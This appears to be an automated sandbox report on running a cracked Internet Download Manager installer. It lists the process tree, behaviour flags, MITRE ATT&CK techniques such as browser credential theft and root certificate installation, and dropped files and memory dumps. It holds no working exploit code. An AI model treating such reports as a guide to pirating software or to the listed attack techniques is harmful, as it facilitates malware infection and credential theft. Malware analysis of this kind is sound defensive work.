- Executes dropped EXE
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=3280,i,1469226554673282556,12022804755274484776,262144 --field-trial-handle=2760,i,9727819603576240286,1744105164511424365,262144 --variations-seed-version=20260722-170053.904000-production --mojo-platform-channel-handle=3120 /prefetch:82⤵
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵
-
C:\Program Files (x86)\Internet Download Manager\IDMan.exe"C:\Program Files (x86)\Internet Download Manager\IDMan.exe"1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Internet Download Manager\Uninstall.exe"C:\Program Files (x86)\Internet Download Manager\Uninstall.exe" -instdriv2⤵
- Checks computer location settings
- Executes dropped EXE
-
C:\Windows\system32\RUNDLL32.EXE"C:\Windows\Sysnative\RUNDLL32.EXE" SETUPAPI.DLL,InstallHinfSection DefaultInstall 128 C:\Program Files (x86)\Internet Download Manager\idmwfp.inf3⤵
- Adds Run key to start application
- Drops file in Windows directory
-
C:\Windows\system32\runonce.exe"C:\Windows\system32\runonce.exe" -r4⤵
- Checks processor information in registry
-
C:\Windows\System32\grpconv.exe"C:\Windows\System32\grpconv.exe" -o5⤵
-
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
-
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" start IDMWFP3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start IDMWFP4⤵
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"4⤵
- Loads dropped DLL
-
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"2⤵
- Loads dropped DLL
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll"3⤵
- Loads dropped DLL
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMIECC64.dll"2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\IDMIECC64.dll"3⤵
- Loads dropped DLL
- Modifies registry class
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\IDMGetAll64.dll"2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\IDMGetAll64.dll"3⤵
-
-
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\System32\regsvr32.exe" /s "C:\Program Files (x86)\Internet Download Manager\downlWithIDM64.dll"2⤵
-
C:\Windows\system32\regsvr32.exe/s "C:\Program Files (x86)\Internet Download Manager\downlWithIDM64.dll"3⤵
- Modifies registry class
-
-
-
C:\Program Files (x86)\Internet Download Manager\IDMan.exe"C:\Program Files (x86)\Internet Download Manager\IDMan.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ffd8fc9c728,0x7ffd8fc9c734,0x7ffd8fc9c7402⤵
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Visual Basic
1Windows Command Shell
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Browser Extensions
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Defense Evasion
Indicator Removal
1File Deletion
1Modify Registry
5Subvert Trust Controls
1Install Root Certificate
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Discovery
Browser Information Discovery
1Peripheral Device Discovery
1Query Registry
6Remote System Discovery
1System Information Discovery
6System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1System Time Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
IDMGetAll.dll
IDMGetAll64.dll
IDMIECC.dll
IDMIECC64.dll
IDMNetMon64.dll
IDMShellExt64.dll
IDMan.exe
MediumILStart.exe
downlWithIDM.dll
downlWithIDM64.dll
idmBroker.exe
idmfsa.dll
idmvs.dll
CrashpadMetrics-active.pma
settings.dat
BookmarkMergedSurfaceOrdering
BrowsingTopicsState
f_00004e
temp-index
the-real-index
the-real-index
the-real-index
the-real-index
data_1
CURRENT
MANIFEST-000001
Network Persistent State
Network Persistent State
Network Persistent State
Network Persistent State
SCT Auditing Pending Reports
TransportSecurity
TransportSecurity
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Secure Preferences
the-real-index
the-real-index
the-real-index
the-real-index
the-real-index~RFe586f7e.TMP
Last Version
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
data_1
Variations
VariationsSafeSeedV1
VariationsSeedV1
VariationsSeedV1
metadata.json
ukm_db
settings.dat
settings.dat
settings.dat
settings.dat
6c32ffbc-e7a2-4ffd-81c5-6e4627682f36.tmp
BrowsingTopicsState
the-real-index
the-real-index
the-real-index
the-real-index~RFe5b147e.TMP
SiteList-Enterprise.json
Network Persistent State
Network Persistent State
Network Persistent State
Sdch Dictionaries
TransportSecurity
Preferences
Preferences
Preferences
Secure Preferences
sync_diagnostic.log
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
metadata.json
metadata.json
metadata.json
WPF2AE5.tmp
WPF2EFF.tmp
webext.sc.lz4
IDM1.tmp
IDMSetup2.log
__PSScriptPolicyTest_qz2bq0gp.a5p.ps1
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
messages.json
content.js
document.js
headBkgd.gif
headTitle.gif
logo128.png
logo128.png
logo16.png
logo16.png
logo16x.png
logo32.png
logo32.png
logo32x.png
logo48.png
logo48.png
logoTonec.gif
welcome.html
welcome.js
content.js
default.dic
d93f411851d7c929.customDestinations-ms
d93f411851d7c929.customDestinations-ms
data.safe.tmp
data.safe.tmp
data.safe.tmp
events
1900e51a-da17-42f2-bf99-ffde0d6f269d
21694747-0a28-46dd-b534-e69958015d97
2c9e6843-a24d-4217-a0a0-782b7840ef9b
47f8d832-1804-4b89-885a-b639aef192a0
4e50ecaf-895d-4531-9ffb-d5bbd7c77fe9
50447570-aeeb-4e39-afe7-38536cc363b5
prefs-1.js
prefs.js
sessionCheckpoints.json.tmp
Internet Download Manager 6.43 Build 7.zip.crdownload
IDM_6.4x_Crack_v20.6.rar
idman643build7.exe
memory/2384-2772-0x000000000B3F0000-0x000000000B428000-memory.dmp
memory/2384-2773-0x0000000008F60000-0x0000000008F6E000-memory.dmp
memory/2384-2638-0x0000020FCADD0000-0x0000020FCB892000-memory.dmp
memory/2384-2771-0x00000000058B0000-0x00000000058B8000-memory.dmp
memory/2384-2774-0x000000000F980000-0x000000000FB08000-memory.dmp
memory/2384-2768-0x00000000090B0000-0x00000000090FA000-memory.dmp
memory/2384-2831-0x000000000F2E0000-0x000000000F2EA000-memory.dmp
memory/2384-2767-0x0000000008E30000-0x0000000008EC2000-memory.dmp
memory/2384-2766-0x0000000009250000-0x000000000977C000-memory.dmp
memory/2384-2758-0x000000006F4E0000-0x000000006F52C000-memory.dmp
memory/2384-2757-0x0000000008A10000-0x0000000008BD2000-memory.dmp
memory/2420-2714-0x000001F23CEB0000-0x000001F23D972000-memory.dmp
memory/2472-935-0x0000000000400000-0x000000000042B000-memory.dmp
memory/2472-1333-0x0000000000400000-0x000000000042B000-memory.dmp
memory/2764-2783-0x0000022CCECA0000-0x0000022CCF762000-memory.dmp
memory/3472-2651-0x000001BAFEF20000-0x000001BAFF9E2000-memory.dmp
memory/3612-2674-0x000002A56F970000-0x000002A570432000-memory.dmp
memory/3696-2792-0x000002B9E7B10000-0x000002B9E85D2000-memory.dmp
memory/4396-2807-0x0000000000400000-0x000000000042B000-memory.dmp
memory/5376-2564-0x0000000000400000-0x0000000000442000-memory.dmp
memory/5376-2770-0x0000000000400000-0x0000000000442000-memory.dmp
memory/5376-3027-0x0000000000400000-0x0000000000442000-memory.dmp
memory/5376-2809-0x0000000000400000-0x0000000000442000-memory.dmp
memory/5376-2678-0x0000000000400000-0x0000000000442000-memory.dmp
memory/5376-2606-0x0000000000400000-0x0000000000442000-memory.dmp
memory/5376-2605-0x0000000000400000-0x0000000000442000-memory.dmp
memory/5376-2794-0x0000000000400000-0x0000000000442000-memory.dmp
memory/5520-890-0x0000000000400000-0x000000000042B000-memory.dmp
memory/5520-454-0x0000000000400000-0x000000000042B000-memory.dmp
memory/5584-1648-0x0000000000400000-0x000000000042B000-memory.dmp
memory/5616-2726-0x00000000072C0000-0x0000000007356000-memory.dmp
memory/5616-2712-0x0000000006F10000-0x0000000006FB3000-memory.dmp
memory/5616-2650-0x0000000002780000-0x00000000027B6000-memory.dmp
memory/5616-2653-0x0000000004CA0000-0x0000000004CC2000-memory.dmp
memory/5616-2742-0x00000000082D0000-0x0000000008876000-memory.dmp
memory/5616-2664-0x0000000005D10000-0x0000000005D2E000-memory.dmp
memory/5616-2665-0x0000000005D70000-0x0000000005DBC000-memory.dmp
memory/5616-2687-0x000000006F4E0000-0x000000006F52C000-memory.dmp
memory/5616-2686-0x0000000006ED0000-0x0000000006F02000-memory.dmp
memory/5616-2741-0x0000000007610000-0x0000000007632000-memory.dmp
memory/5616-2654-0x0000000004D40000-0x0000000004DA6000-memory.dmp
memory/5616-2727-0x0000000007230000-0x0000000007241000-memory.dmp
memory/5616-2656-0x0000000005760000-0x0000000005AB7000-memory.dmp
memory/5616-2725-0x00000000070C0000-0x00000000070CA000-memory.dmp
memory/5616-2724-0x0000000007050000-0x000000000706A000-memory.dmp
memory/5616-2723-0x00000000076A0000-0x0000000007D1A000-memory.dmp
memory/5616-2652-0x0000000005090000-0x000000000575A000-memory.dmp
memory/5616-2655-0x0000000004DB0000-0x0000000004E16000-memory.dmp
memory/5616-2695-0x00000000062E0000-0x00000000062FE000-memory.dmp
memory/5808-3102-0x0000000000400000-0x000000000042B000-memory.dmp
memory/5928-2615-0x0000028FE8560000-0x0000028FE8582000-memory.dmp
memory/5928-2620-0x0000028FE77B0000-0x0000028FE8272000-memory.dmp
memory/5936-2629-0x000001BA26230000-0x000001BA26CF2000-memory.dmp